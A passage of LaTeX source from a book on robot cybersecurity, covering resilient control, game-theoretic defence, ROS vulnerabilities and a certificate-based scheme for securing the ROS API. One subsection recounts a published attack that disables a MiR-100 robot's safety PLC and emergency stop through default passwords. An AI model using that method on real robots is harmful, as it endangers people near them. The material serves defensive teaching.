As discussed in \citep{zhuchapter}, resilient control is divided into three stages: ex-ante planning, interim execution, and ex-post recovery. The ex-ante stage is the resilience planning that designs contingency plans to prepare for the anticipated attacks. The interim execution stage is the operation stage of the control system, which executes the resilience plans in real-time. A resilient operation includes online learning for anomaly detection and adaptive decision-making for responding to the anomaly. The ex-post recovery refers to the recovery process in which the robots can still maintain critical functions or heal themselves to complete the tasks.
The three-stage resilient control mechanism is the last resort to safeguard the robotic systems and mitigate the impact of physical damages. This approach is complementary to the cyber defense designed at the penultimate level to prevent an attacker to reach the final level. Perfect security is not practicable in real-time systems as it would significantly increase the cost and reduce the usability of cybersecurity and resilient control mechanisms can be designed jointly to effectively reduce the impact of cyber threats. The cyber defense in the joint design needs to anticipate the consequence when the attacker successfully evades the defense and reaches the physical asset. Meanwhile, the design of a resilient control mechanism needs to take into account the effectiveness of the cyber defense and design resiliency in response to possible successful attacks.
This joint design methodology aligns with the games-in-games defense paradigm introduced in Section \ref{gigm}. The resilient control is subsumed in the last stage design, or G3 in Fig. \ref{nestedgames}, while the cyber defense is viewed as the outcome of G1 and G2. In \citep{zhu2012dynamic,zhu2011robust}, resilient control is viewed as a game between the controller and the worst-case scenario that can occur to the real-time system. Therefore, the games-in-games design paradigm provides a holistic view to understand the impact of cyber defense on the real-time system performance and design cross-layer defense and resilient control mechanisms.
\chapter{Introduction to Robot Security}
\label{c-cyberphysical-systems-in-robotics}
Robotic technology has been around for many years now with its main application being
in automation where millions of robots have been deployed over the past
decades.
In recent years, inflexible automation is starting to shift out of
focus of the robotics research and we move towards using robots in flexible
manufacturing (marching towards lot size 1) and intralogistics. Service
robots are set out to pervade also non-industrial areas like healthcare as
well as public and private spaces. The gain in flexibility and capabilities of modern robots has been largely fuelled by the convergence of classical computing and networking technology with robotics.
The new generation of robots cannot
perform their tasks without being connected to the outside world. Flexible
manufacturing and intralogistics robots need to be connected to manufacturing
execution systems and fleet management services. Service robots are supposed
to provide more value by being connected to the cloud to retrieve commands
and updates. While the new capabilities make the areas of application for robots broader, they also become susceptible to external manipulation. This new threat from the cyber world has not yet been sufficiently addressed up to now.
In this book, we review the causes of robot insecurity also reflecting the underlying causes like complexity and market pressure. We present the vulnerabilities and potential fixes of the most important software framework in robotics. Then, we describe modern approaches to securing robots including processes and standards but most importantly also present the potential benefits promised by the introduction of quantitative security methods.
\section{The Need for Cybersecurity in Robotics}
A robot is in general a complex machine which is by itself difficult to design, build and program. The main focus when building a robot is in making it reliable and safe. Security is often of a lower priority since it adds even more complexity to building the robot. In addition, cybersecurity has traditionally not been a concern when designing or using robots since classical industrial applications of robots did not require any connectivity to the outside. With the current trend towards connected robots, however, a technology that is not fit for this trend meets all the threats that come with connecting robots. Generally speaking, today's robots are easy prey even for less skilled attackers since security achievements that have been successfully used in the {IT} area in the past three decades like firewalls, hardened endpoints, or encrypted communication are typically not part of a robotic system. In addition, a security-oriented mindset is also hardly taught in the education of roboticists.
\subsection{What are special requirements for cybersecurity in robotics?}
In general, cybersecurity for robotics draws from the methods of {IT}-security. However, there are specialties in robotics, that need additional consideration~\citep{vilches2019introducing}. First and most obviously, robots are cyber-physical systems and as such, they have a representation in the physical world. This yields two security-relevant aspects. First, robots can be physically manipulated. Too often, we find exposed network- or USB-ports in robots that can easily be exploited by an attacker. This is especially problematic with mobile robots that move autonomously in little-controlled areas. Second, robots can have significant impacts on the physical safety of persons around them. In general, the regulations for robot safety are very strict to prevent any human harm by a robot. However, much of the required safety functions can be attacked remotely thus, effectively rendering the safety methods useless. Despite this, safety regulations do not (yet) require security measures to be put into place. Section \ref{sec:mir_poc} shows a {PoC} attack that demonstrates the seriousness of this issue.
Robots that are used in automation are also aimed at high availability. This
means that they should preferably non-stop. Thus, as it is common in {OT},
industrial robots are not commonly supplied with regular updates that could
fix vulnerabilities.
\subsubsection{A PoC to remotely disable a robot's safety subsystem}
\label{sec:mir_poc}
A practical attack on a robot's safety subsystem has been presented in \citep{taurer2019MiRSafety}. The target of the PoC was a mobile robot for transport tasks in the industry. The safety system of the robot is responsible to stop the platform before it hits an obstacle. This is realized using safety-rated laser scanners that are connected to a safety {PLC} that cuts the power to the motors in case an object is too close to the robot. Figure \ref{fig:mir_internals} shows a logical overview of the aforementioned components and their interconnections.
\begin{figure}
\centering
\includegraphics[width=0.6\textwidth]{figures/mirInternals.png}
\caption{A logical overview of the internals of a MiR-100 robot (from \citep{taurer2019MiRSafety})}
\label{fig:mir_internals}
\end{figure}
Due to several misconfigurations and negligence of standard security
procedures (like changing default passwords), it is possible to retrieve,
manipulate and re-upload the safety program logic running on the dedicated
safety {PLC} in the robot. The robot itself hosts a WiFi hotspot that
uses a default password. Access to the WiFi also provides access to all
connected devices since no network separation policy is in place. Thus, an
attacker could easily gain access to the robot's internal network. The safety
{PLC} is connected to the robot's internal network. During its
integration, the default password required to upload a program to the
{PLC} was not changed. The attacker can access the {PLC} via WiFi and
download the program stored on it. After a simple change that renders the
laser scanners' inputs useless, the program can be re-uploaded. From this
point on, the robot will still detect obstacles but it will not stop for
them. Since those robots can carry up to 250kg, they pose significant
health risks when they collide with a person. Note, that in course of the modifications, not only the safety laser scanners but also the emergency stop can be rendered useless.
The vulnerability described has been acknowledged by the robot manufacturer and was fixed in the meantime. Still, it shows how easily robots can be attacked and that establishing security practices in robotics is highly necessary.
\section{Overview of Security Challenges and Solutions}
Robotic security adds a dimension of physical interaction to the requirements of general information security. Contrary to classical protection of data from theft, manipulation, etc., a physical consequence of a data breach is usually not in the center of attention there, but not so for robotics. The intended close contact, up to collaboration, with humans, adds its own set of security requirements beyond the classical CIA+ (confidentiality, integrity, availability, and authenticity), and also induces ethical challenges. Those get more involved by the fact that robot systems are often heterogeneous, making the assignment and taking of responsibilities difficult in light of many actors being involved.
This book is focused on the technical possibilities of implementing security, reaching up to industrial standards, and best practices to follow when building a secure robot. Chapter \ref{sec:cyber-issues-et-al} sets the ground by reviewing the {ROS}\xspace as a popular (de facto standard) platform to run robot systems, thereby pointing out some threats and countermeasures that can be addressed ``classically'' (i.e., using standard security mechanisms). The distributed nature of robotics, however, calls for a broader view extended to cover the interaction of possibly many components, which has its challenges. Among them are the necessary division of views (dividing data layers vs. computational graphs, etc.) and the treatment of multi-agent systems as groups in which possibly many players can become hostile or otherwise deviate from the intended orchestration. We discuss security along these lines in Chapter \ref{chapter:security-networked-robotic-systems}. Experience with vulnerabilities and successful attack reports have led to the development of various tools and methods to help designers of a robot system with testing and general security management, and Chapter \ref{sec:advanced-security-design} is devoted to an introduction and overview of these practices. Conditional on an understanding of the overall diversity and interdependency in robot systems, partially gained with help of tools, but also proper design processes (e.g., DevSecOps), one can proceed further by defining mathematical models to quantify and thereby optimize security systematically, as an account for the tradeoff between investment, time to market pressure, and the security achievable under budget and time limitations. This model-based economic approach to security, see Figure \ref{fig:theme}, including the technical and organizational practices relative to security cost-benefits, is what game-theoretic techniques can help with.
\begin{figure}
\centering
\includegraphics[width=0.8\textwidth]{figures/theme.pdf}
\caption{This book investigates challenges, quantitative modeling and the practice of cybersecurity issues in robotic systems.}
\label{fig:theme}
\end{figure}
Chapter \ref{sec:game-theory-intro} provides a primer to game theory, starting with an introduction by the example of a game describing a penetrating adversary versus a defending security officer, to illustrate the overall idea of how mathematical games are applicable to security. From this, we take a deeper dive into the variety of game-theoretic models designed for security, and how to combine them into bigger models of robot systems. The diversity and heterogeneity of a robot system are thereby matched with the (equal) diversity of game-theoretic security models tailored to many different scenarios of attack and defense. Chapter \ref{sec:game-theory-intro} is meant as a starting point here.
We remark that this book does not intend to cover non-technical matters like ethics or the generalities of development processes, staff recruiting and human resources security, or legal issues like liabilities or insurance. Without doubting their relevance for robot security, their discussion and treatment are out of our scope here.
A survey of all known threats is not the focus of this book.
We refer the reader to the lot of existing work in this direction, partly coming from other domains (as provided by \cite{heartfield_taxonomy_2018}, \cite{Simmons2009AVOIDITAC} and others) but also related explicitly to robotics, such as the work of \cite{dekoulis_cybersecurity_2017} and the \cite{open_source_robotics_foundation_inc_ros_2021}. Since robots are special cases of general distributed cyber-physical systems, threat taxonomies from this larger area apply well for robotics too. Furthermore, risk management standards like ISO31000 or IEC-62443, discussed in Section \ref{sec:standards}, provide threat categorizations and ways to systematically identify, classify, and address cyber-security along all virtual and physical aspects. We thus refrain from deep dives into taxonomies here, for the sake of discussing a useful practical tool being the classification of threats along with a common set of attributes to rank threats and vulnerabilities in terms of severity, efforts to fix, and other security management related aspects. We pay explicit attention to such methods, specifically the {RVSS}~\citep{RVSS} as an extension to the popular {CVSS}, later in Section \ref{sec:tvs}.
\section{Need for Quantitative Methods}
A robot is a system of systems. One that comprises sensors to perceive its environment, actuators to act on it and computation to process it all and respond coherently to its application \citep{vilches_2020}. We can divide robotic systems into two layers, as illustrated in Fig. \ref{fig:CyberPhysical}. One is the {OT} layer which consists of devices and components that directly monitor and control the mechatronic processes and events, such as autonomous vehicles, robotic arms, and humanoids. The other one is the {IT} layer which consists of information and communication devices that collect, communicate, and process data, such as computer networks, cloud computing, and servers. Many robotic system designs often view safety as one of the major {OT}-level system criteria. The design for safety is an integral part of the systematic methodologies in the design process. On the contrary, cybersecurity at the {IT}-level is not yet a key factor considered in the design of robotic systems.
When security issues arise, add-on solutions such as patching and firewalls are introduced to harden the system security. However, these solutions can be easily evaded by a sophisticated attacker as we have seen in recent {APT}. An attacker can leverage social engineering, stay stealthy in the system for a prolonged period of time, and learn the system configurations to acquire credentials and escalate privilege to reach the asset. The defective {IT}-security is a potential cyber hazard for {OT}-safety.
\begin{figure}
\centering
\includegraphics[width=0.8\textwidth]{figures/CyberPhysical.png}
\caption{The integration and interaction between {IT} and {OT} in robotics}
\label{fig:CyberPhysical}
\end{figure}
It is essential to see that {OT}-level safety and {IT}-level security are intertwined. The ignorance of {IT}-security will enable an attacker to take over the control of {OT} and create human-induced devastating incidents. Reversely, the goal of {IT}-security is to provide the necessary support to {OT} to provide performance assurance and dependability. It is insufficient to focus merely on {OT}-level safety issues and adopt perfunctory solutions to protect the {IT} from advanced attacks.
Quantitative metrics and frameworks play an essential role in a formal understanding of the {IT}/ {OT} interdependencies and the development of risk assessment tools and security solutions.
Game theory is a promising scientific method to address this need. Game theory has a long history since the 1950s and a rich set of analytical and computational tools that can be used to capture the competitive and strategic behaviors between an attacker and a defender. The solid mathematical foundation of game theory provides a rigorous framework to analyze and predict the outcome of the interactions between an attacker and a defender.
Game theory provides a theoretical underpinning for the analysis of this tradeoff between security and performance under a prescribed set of attack models. A standard normal-form game is composed of three elements: players, action sets, and utility functions or preferences over action sets. The action sets can encode the system constraints, while the utility function can capture the {IT} and {OT} performances and their interplay. The interdependencies between the {IT} and the {OT} can be formally described by specifying the preferences over the set of joint IT/OT configurations and designs.
Not only does the game framework encode the key design features, the equilibrium concept of games but also provides a predictive outcome of the interactions, where no parties have the incentive to deviate from their actions unilaterally. The analysis of the equilibrium solution enables the quantitative risk assessment in a strategically adversarial environment. In addition, the analysis of equilibrium strategies of the game leads to a new paradigm of security solutions.
Instead of aiming for a perfect security solution, which is either cost-prohibitive or practically impossible, game theory enables the design of best-effort {IT}-and- {OT}-security by taking into account the security objectives of the systems, the system resource constraints, and the attacker's capabilities.
Modern extensions of the game-theoretic framework by including uncertainties, epistemic modeling, and learning dynamics enable the creation of sophisticated defense mechanisms such as autonomous and adaptive strategies, moving target defense, and cyber deception. The defense mechanisms can go beyond the traditional manual and static configurations to dynamic, data-driven, and automated operations of defense. In addition, the game models can be sequentially composed to capture the multi-stage and multi-phase nature of {APT}. Each game model represents a modularized interaction in a subsystem. The composition of multiple games pieces together a holistic view of the multi-dimensional dynamic interactions in the entire system, which include the ones between the defender and the attacker, as well as the ones between subsystems. The holistic game is also called games-in-games, where one game is nested in the other games. This structure enables the defense to localize the attack behaviors by zooming into a local subsystem and optimize the system-wide performance by zooming out to view the system holistically.
Chapter \ref{sec:game-theory-intro} will first provide an introduction to game-theoretic methods by an example of an attack-graph game. The second part of the chapter will present an overview of security games and their applications. One important class of games that are useful to address sophisticated attacks is the multi-stage and multi-phase security game. Game models for multiple subsystems at different phases can be composed together to address the complex security problems holistically. The chapter presents sever to elaborate on game-theoretic methodologies. One case study presents a cyber-physical signaling game to develop an impact-aware trust mechanism that can reject high-risk inputs and mitigate the physical damages. The second case study introduces a jamming game between a jammer and a team of robots that aim to reach consensus through mutual pursuits and communications. A multi-stage game is formulated to analyze the equilibrium and develop anti-jamming strategies.
\chapter{Cyber Issues, Security Architectures and {ROS}\xspace Vulnerabilities}\label{sec:cyber-issues-et-al}
Many technological advancements of
the past decades have now also converged in the field of robotics. Mainly,
the large-scale use of general-purpose computing techniques (hardware,
operating systems, and software) has dramatically sped up the development and
increased the flexibility and potential of robots. This trend counters the approach of robot manufacturers of the past decades to aim for locked-in, all-in-one solutions comprising the robot, its controller, and the corresponding programming environment. As now robotics can be approached with methods from general-purpose computer software development, also the advanced approaches developed therein are starting to dominate. In modern robotics, one
framework dominates the development efforts like no other.
\section{The Robot Operating System}\label{sec:ros}
The
{ROS}\xspace~\citep{quigley2009ros} is a middleware system that has become the most
popular platform for robot development. It
coordinates multiple, distributed functional units called nodes. Nodes are
individual processes that have their own lifecycle and are orchestrated into
an application. The central entity for coordination and brokerage is the {ROS}\xspace
master. This is a dedicated process running on one of the hosts in the {ROS}\xspace
network which has a directory of all nodes and the data they provide or
consume.
At its core, {ROS}\xspace supports the publish-subscribe communication pattern. This pattern can be used to decouple components from each other and use well-defined interfaces to connect them. Publish-subscribe in {ROS}\xspace is topic-based i.e., {ROS}\xspace creates a virtual bus for each topic that subscribers can attach to receive the published information. As an example, a {ROS}\xspace sensor node that retrieves images from a camera will publish this information on a specific topic. All nodes that require this data can subscribe to it. For both, the publisher and the subscriber it is transparent who the respective communication partner is exactly. Thus, it is easy to exchange nodes in a {ROS}\xspace network as well as it is easy to add new ones or re-purpose existing implementations to new applications. On startup, a publisher node will contact the master and declare which topics it publishes. Similarly, a subscriber will tell the master which topics it requires. As soon as there is a publication-subscription match, the master contacts the subscriber with a list of potential publishers for its topic. The subscriber will then contact the publisher and further communication is done bilaterally between the two nodes without the inclusion of the {ROS}\xspace master. In this communication, {ROS}\xspace supports TCP as well as UDP (called henceforth ROSTCP and ROSUDP respectively).
In addition to publish-subscribe, {ROS}\xspace supports client-server-style communication using services. A service has a unique name and can synchronously be queried by a client. A service can be used to e.g., retrieve or set a piece of specific one-time information like a state or a configuration. The {ROS}\xspace master keeps an index of all registered services which can then be queried by a service client to lookup connection information for a specific service.
The third, logical, communication pattern in {ROS}\xspace are actions. Actions are used to encapsulate long-running, preemptable tasks like sending a mobile robot to a certain location in a room. Actions are realized using five different publish-subscribe topics. The action goal is sent from the action client to the action server to trigger the action. The action server will provide a state and feedback to the client while the action is running (e.g., the information that the action is being executed along with the current location of the mobile base while it is moving). A result topic will inform the client of the final outcome (e.g., the final position of the robot). A dedicated cancel topic can be published by the client to terminate the ongoing action. Since actions are wrapped around the publish-subscribe topic, the aforementioned brokerage process between publisher, subscriber, and {ROS}\xspace master is also performed for each of the action topics.
Besides its inherently distributed---and thus scaleable---nature, {ROS}\xspace also provides an extensive and ever-growing package repository of robot drivers, algorithmic packages and tools that greatly facilitate the development of robot applications.
The main programming languages in the {ROS}\xspace environment are C++ and Python. But since the {ROS}\xspace communication interfaces are defined independently of any language, there are various other implementations e.g., for Java, C$_{\#}$, JavaScript, and others. While this results in broader support for {ROS}\xspace, it also causes the implementations to sometimes diverge from each other (not even C++ and Python versions are identical in functions) and have compatibility issues. This might also be a factor in the reluctance of the {ROS}\xspace developers to fix the vulnerabilities mentioned in the next sections. In order to fix those, changes to the communication structure would be required in all existing implementations causing immense efforts.
As of 2021, according to the official wiki\footnote{\url{https://robots.ros.org/}}, {ROS}\xspace is compatible with around 170 different robots or robot series (e.g., a whole range of ABB robots
is subsumed into one entry)
for a wide variety of purposes including industrial manipulators, mobile, aerial and marine robots.
\section{Vulnerabilities of the Robot Operating System}
As of its initial version, {ROS}\xspace was not designed with security in mind~\citep{mcclean2013preliminary}. The underlying publish-subscribe mechanism is naturally open in both directions, letting all components of a system register as publishers, or subscribers, or both. The absence of mechanisms to restrict the registration under any of the two roles creates flexibility when it comes to adding, removing, or replacing components in a system, but at the same time induces the obvious likewise vulnerability of malicious components or messages coming in easy.
To see where and how security in {ROS}\xspace looks like, let us adopt the abstract view on {ROS}\xspace being a communication platform over which three basic classes of entities talk to each other \citep{koubaa_penetration_2020}:
\begin{itemize}
\item the {ROS}\xspace master, who manages parameters, service registration, and other stuff, as a central node with essentially a unique (physical) appearance
\item {ROS}\xspace talkers, which can be components of diverse nature and physical form, unified by the common behavior of publishing topic data,
\item and {ROS}\xspace listeners, which like the talkers are not bound to a specific physical or logical appearance, and whose role is the reception of topics on which the talkers publish.
\end{itemize}
The term \emph{node} will hereafter comprise components from all three of the above types.
The division of entities as outlined above implies a diverse {API}, whose division is not according to the above classes of entities, but rather w.r.t. the kind of action. We distinguish {API} for the master from those of \emph{slave nodes}, comprising publishers and subscribers, and as a third type, the \emph{parameter {API}}, whose purpose is the management of global configuration parameters. The associated server instance for the parameter {API} runs along with the {ROS}\xspace master as a centralized service. Having this central point allows for notifying nodes about changes in parameters by invoking callbacks for namespaced parameter keys, which nodes may register for.
\paragraph{Master {API}:}
The master's role is to act as a registration authority, perhaps also as an {IDM}, but essentially is there to manage parameters and services existing in the system. As such, it offers at least the following types of calls\footnote{\url{http://wiki.ros.org/ROS/Master\_API}}:
\begin{itemize}
\item Registration and unregistration of subscribers, publishers, and services
\item Directory services (lookups) for nodes and services, which require or return {URI} of the respective nodes or services, according to \citep{masinter_uniform_2016}
\item Queries to retrieve the internal state of the master, to get
details of the entire topology of the {ROS}\xspace system, including all publishers,
subscribers, and services, and deep details thereof.
\end{itemize}
\paragraph{Parameter {API}:}
The parameter server is a part of the {ROS}\xspace master. It provides nodes with pre-defined values for configuration items. This central storage makes it easier to configure and reconfigure a {ROS}\xspace system. As expected, the functions provided herein are\footnote{\url{http://wiki.ros.org/ROS/Parameter\%20Server\%20API}}
\begin{itemize}
\item \texttt{set}ters and \texttt{get}ters for parameters,
\item but also the possibility to \texttt{delete} parameters,
\item queries about existence (\texttt{has}), search for (\texttt{search}), or listing (\texttt{list}) the currently known parameters,
\item and finally (and most importantly for attackers), the ability to be notified upon parameter changes. That is, a node can call \texttt{subscribe} to provide a callback routine (inside the node) that the parameter server will call upon every change of the parameter value. Of course, calling \texttt{unsubscribe} terminates these notifications.
\end{itemize}
\paragraph{The Slave {API}}
Both, publishers and subscribers, maintain this {API}\footnote{\url{http://wiki.ros.org/ROS/Slave\_API}} for receiving callbacks from the master, negotiating connections with other nodes, and do system calls for orchestration and monitoring. In detail, the {API} provides the following:
\begin{itemize}
\item \texttt{update} callbacks to notify subscribers about activities by publishers, or changes of parameters
\item \texttt{request} calls for topic transport information. Since the update callback is merely a notification, it remains the subscriber's duty to actively contact the publisher for details on the topic, establish a connection over ROSTCP or ROSUDP, and open a separate channel and socket for the data transmission.
\item \texttt{get}ters for various purposes, mostly related to troubleshooting and status queries (like subscriptions, publications, {URI}, etc.)
\item \texttt{shutdown}, as a signal for a node to self-terminate.
This signal may be required by the master to resolve namespace conflicts or to replace malfunctioning nodes with others
or new ones. This latter purpose of
``self-healing'', however, requires an explicit node health monitoring that
{ROS}\xspace does not ship with, so it must be established independently and in
addition.
\end{itemize}
The latter two classes of {API} calls are particularly useful for hacking {ROS}\xspace, since the getters for debugging and troubleshooting deliver rich information about the system, and the shutdown signal has an obvious use if it is not restricted to the master, and no other node.
\section{Securing the {API}}\label{sec:securing-the-api}
The bottom line is that all {API} calls need security in at least the
following aspects:
\begin{description}
\item[Integrity:] almost self-explanatory, it is necessary for a node when transmitting or receiving data to safely rely on its correctness. From a cryptographic perspective, we distinguish intended from unintended modifications, and (cryptographic) checksums can counteract only the latter case of modification. Thwarting adversarial influence on parameters needs stronger concepts, but can in many cases be built into an authentication mechanism.
\item[Authenticity:] once a connection has been established, it is vital for both parties to assure the other entity's identity and, more importantly, its eligibility for the intended purpose of the connection. For example, if a component registers as a sensor, there is no assurance for a subscriber that whatever information sent out is really coming from a device that \emph{is} a sensor, or not. Plain authenticity is not enough here, since understood as the verification of identity, the cryptographic assurance that device $X$ published on topic $T$ is in itself no certificate that $X$ is capable of speaking about $T$. Such assurance calls for an independent trusted party that certifies a component as serving the claimed purpose or filling the presumed role, whether this may be the role of a sensor, an actor, some general device, and -- perhaps most importantly -- the {ROS}\xspace master itself.
Standard cryptographic mechanisms can perfectly handle this job since cryptographic certificates can provide arbitrary assurances about the type, role, rights, or other conditions guards of an {API} call. We will postpone this discussion until later, and for now, assume that the identity of a node has been \emph{verified}\footnote{it is necessary to distinguish the verification of identity from its determination. The latter is the (distinct) notion of \emph{identification}, whereas the mere verification of a claimed {ID} is authentication. Neither implies the other in general.}.
\item[Authorization/Access control:] not all {API} calls are admissible for all nodes, and the decision of whether or not a call is legitimate requires an assured {ID}. For example, only the master should be allowed to send a shutdown signal. Likewise, a sensor is typically an entity that only emits information, but does not process it. As such, its rights should be restricted to publishing, but not subscribing. Reality is in most instances more complex than the simple classification of these two examples, but the bottom line is that the construction of a {ROS}\xspace system should respect \emph{separation of duties}, and \emph{need-to-know principles}, whose enforcement is up to access control mechanisms. Maintaining access control lists, granting and revoking rights is a separate administrative duty that may be taken over by the {ROS}\xspace master upon registration of nodes, but can equally well remain a duty of an external (human) system operator.
\item[Confidentiality:] while seemingly an obvious requirement, it may be considered here as the lowest priority goal, since many signals exchanged between {ROS}\xspace nodes may not classify as sensitive information, or may self-disclose instantly upon their effect. For example, if the signal is about a robot arm to move along a certain trajectory or stop in presence of an obstacle, the physically visible effect will indicate what the (perhaps confidential) signal has been.
\end{description}
An implementation of such cryptographic protection needs to be done with the
two-layer {API} structure in mind that {ROS}\xspace has, which instantiates the
above requirements individually different depending on the layer:
\begin{itemize}
\item On the control layer for signaling, confidentiality may not be a top
priority, since the physical reaction may reveal the signal anyway.
However, authenticity and access control are most crucial. Otherwise, it may be possible to tamper with the {ROS}\xspace communication graph (e.g., isolating publishers or presenting fake publishers to subscribers)
\item On the communication layer on which the actual
information flows, the priorities of the above requirements may change
accordingly, for example, putting integrity higher up on the
importance list.
\end{itemize}
Overall, securing the {API} is generally insufficient, since it can in any
case only address the ``cyber''-part of the cyber-physical system that a
robot is, and hence is only half of the story.
A comprehensive security design on the level of
orchestrating mechanisms appropriately is required and postponed until
Chapter \ref{chapter:security-networked-robotic-systems}. To illustrate cryptography as a
core, yet basic, mechanism, let us continue our deep dive into this example
for the next two sections, exhibiting their efficacy in Section
\ref{sec:defense-attack-examples}.
\subsection{Cryptographic Certificates}
Certificates are a concept from asymmetric cryptography, and loosely speaking are bindings of keys to identities, not per se saying how identity is defined or understood. Generically, any combination of attributes or other characteristics that uniquely distinguish an individual or entity inside a larger well-defined group can serve as an identity. The important point herein is that the term is always related to a group, relative to which the identity is one, and the same {ID} can lose its identifying property once the group changes by losing or gaining members. Given that {ROS}\xspace is a flexible and open system, the {ROS}\xspace master appears as the natural candidate point to establish an {IDM}. Once identities are defined and available, certificates can be issued. In its plain form, contains at least the following entries:
\begin{itemize}
\item information about the certificate owner's {ID}; here a device or component
\item one or more cryptographic keys that shall be linked to the identity
\item a digital signature from a trusted authority, called a {CA}, which is verifiable via a widely known (separate) public key.
\end{itemize}
To make our notation more rigorous and compact, we will use angled brackets to denote tuples of information items that are digitally signed under a key added as a subscript. That is, a certificate would be the above quadruple, singed under the public key $pk_{CA}$ of the {CA}, and denoted as
\begin{equation}\label{eqn:certificate}
\cert{\text{owner}, \text{key(s)}}{pk_{CA}}
\end{equation}
Continuing the notation, we will write $pk$ to mean \emph{public keys}, $sk$ to mean \emph{private keys}, which is primarily but not exclusively needed for verification of digital signatures here. The terms ``public'' and ``private'' are hereafter and throughout this article reserved for asymmetric cryptography, whereas the variable $k$, coined a \emph{secret} key, will exclusively be used to mean symmetric cryptographic schemes. We will keep and not change this notation in the whole work in the context of cryptography, where the user will be unambiguous.
For encryption of a message $m$ under a key $k$ or $pk$ we will use the likewise notation
\[
\enc{m}{k}, \text{resp.}\quad\enc{m}{pk}
\]
where the $k$ or $pk$ respectively points out the encryption as symmetric ($k$) or asymmetric $(pk)$. Note that this notation likewise applies for the symmetric counterpart of a digital certificate, which is a {MAC} (see, \emph{e.g.}\xspace, \citep{hansen_us_2011}). While \eqref{eqn:certificate} is computed by the signing function of the public key signature scheme of choice (e.g., {DSA} \citep{pornin_porninboletorg_deterministic_2013}, {RSA} \citep{jonsson_pkcs_2016} or others), the symmetric sibling would be hashing the (reversible) concatenation of data items under the respective secret key.
Standardized certificates extend the above list by a diverse set of additional information, which in our case can include arbitrary additional information about the registering component. Returning to our previous discussion on access control and its preceding authentication, adding security to the {ROS}\xspace {API} can proceed as follows, presuming a central {CA} that all parties, here being the vendors of components, and the administrative parties running the actual {ROS}\xspace system:
\begin{enumerate}
\item upon manufacturing, a device receives information about its type (sensor, actor, \emph{etc}\xspace), a unique {ID}, and any other information relevant or needed by the system engineers.
\item upon installment of the new component in the {ROS}\xspace system, the first step after physically connecting the device is registering it with the {ROS}\xspace master. To this end, the {ROS}\xspace master would perform the following steps:
\begin{enumerate}
\item check the certificate that the device brings in upon registration, to verify that the device is of an admissible type, and to determine which rights according to the security policy, the new component should receive. This granting or revocation of rights can be based on the device type, group that it is assigned to, or role that it should take in the system. Essentially, the process can resemble the standard approach of {RBAC} which we do not describe in deeper detail here.
\item once the {ROS}\xspace master has compiled a white-list of admissible {API} calls, it can itself issue a certificate for the device in which this list is an integral part so that upon every subsequent {API} call, the device can show the certificate that it received from the master, as an authorization token to make this call. This finishes the cryptographic part of the registration. The certificate would thus contain the following information, wrapped in a digital signature issued by the master:
\begin{equation}\label{eqn:api-call-signature}
\cert{\text{device {ID}}, \set{\text{list of permitted {API} calls}}}{pk_{\text{ROS-master}}}
\end{equation}
\end{enumerate}
\end{enumerate}
The computational cost of public-key cryptography may come in negative here, since the cryptographic validation of certificates each time an {API} call is made may significantly slow down the overall system performance. To escape this issue, one can use the first-time contact to establish a shared secret, and subsequently resort to symmetric methods of authentication by {MAC}. The overall narrative is that the certificate from the vendor is one-time required for the master to validate the component and determine its rights in the {ROS}\xspace system. Likewise, upon the \emph{first} {API} call to another component would need a cryptographic verification of the caller's rights as issued/granted by the {ROS}\xspace master via the caller's certificate. Once this verification succeeded, the component can run a secret key exchange (e.g., a Diffie-Hellman protocol or others), with the caller to establish a shared secret that it jointly stores together with the list of permitted {API} calls. Let us denote such a secret shared between components $A,B$ by $k_{A,B}$. It allows for fast verification of permission using symmetric encryption only. The scheme is generally an instance of challenge-response authentication:
\begin{enumerate}
\item The caller $A$ picks a random value $r$ and sends its {API} call \texttt{api-call}, together with $r$ encrypted under $k_{A,B}$, i.e., $B$ receives the {API} call message
\[
\enc{\texttt{api-call}, hash(\texttt{api-call})}{k_{a,b}}
\]
in which $hash$ is a cryptographic hash function. The purpose of it is to make false decryption recognizable by a mismatch of the checksum that the callee would compute after decrypting the message. If the \texttt{api-call} is itself subject to some redundancy scheme, say, if there is a textual representation of the called function or others, then the additional checksum may be spared; yet it is generally advisable to add such redundancy.
\item A correct decryption of the call is already an implicit authentication of the caller at the same time since the key under which the call correctly decrypts is uniquely associated with the caller. Thus, there is a binding of the call to the caller, and on the receiver's side, the key is in turn bound to the list of permitted {API} calls, thus before executing or responding to the call, the receiver can dig up the list of permitted calls from \eqref{eqn:api-call-signature} and check if the called method is among them.
\end{enumerate}
Summarizing the conceptual protection, we have the following sequence:
\begin{center}
\textsf{ authentication (identity verification) $\to$ authorization (check of rights by the {ROS}\xspace master) $\to$ registration (along which the {ROS}\xspace master issues a certificate to the {ROS}\xspace node as authorization token)}
\end{center}
with the \emph{first} {API} call proceeding along the sequence:
\begin{center}
\textsf{ verify the certificate of the caller $\to$ establish a shared secret and store the {API} permissions $\to$ check permissions and respond to call }
\end{center}
and all subsequent (second and later) calls processing along the faster lane:
\begin{center}
\textsf {symmetrically decrypt the call under the secret shared with the caller's {ID} $\to$ load the {API} permissions of the caller $\to$ check permissions and respond to call.}
\end{center}
This presentation is intentionally generic and in a practical implementation needs more details, such as adding the caller's and receiver's identities in the transmissions. An aspect left untouched so far concerns key and certificate management, which we look into next.
\subsection{Certificate and Key Management}
Managing credentials is human labor to the extent where it concerns certificates, which have an expiration date. Certificates need to be stored in a secured location, to prevent them from adversarial replacement; a {TPM} offers a suitable hardware-based solution for this \citep{dieber_security_2017}. Other certificates are in the above process directly computed by the {ROS}\xspace master itself, which is yet best implemented in the {TPM} as well, as it requires the storage and secured use of private signature keys.
\paragraph{Registration of Components:} it is generally advisable to pursue a whitelisting approach in the registration checks that the {ROS}\xspace master runs. That is, the {ROS}\xspace master should store (non-malleably) a list of permitted devices, against which a newly registered component is checked, and rejected upon not being on the white list. Otherwise, if the device is admissible, the {ROS}\xspace master can open a {TLS} session to secure the communication with the new device, using a security suite with forward secrecy (e.g., ECDHE-ECDSA-AES256-GCM-SHA384, \emph{i.e.}\xspace, Diffie-Hellman key exchange, digital signatures, symmetric encryption by the {AES} \citep{mccloghrie_advanced_2004} in {GCM} \citep{choudhury_aes_2008}, and with $hash$ being the {SHA} algorithm with 384 bit output \citep{hansen_us_2011,hansen_us_2006}). The point of forward secrecy herein means that the keys are short-lived, in the sense that the discovery of a key for one session does not help to decrypt any follow-up sessions. In other words, the key agreement needs to be repeated from time to time, leaving the long-term secrets to be only the private signature keys, which no component other than the {ROS}\xspace master needs to store. Essentially, the public key of the new device is only used to authenticating the parameters of the key agreement (Diffie-Hellman over elliptic curves in this example), but not for the encryption of the session key for the registration process (i.e., symmetric encryption of 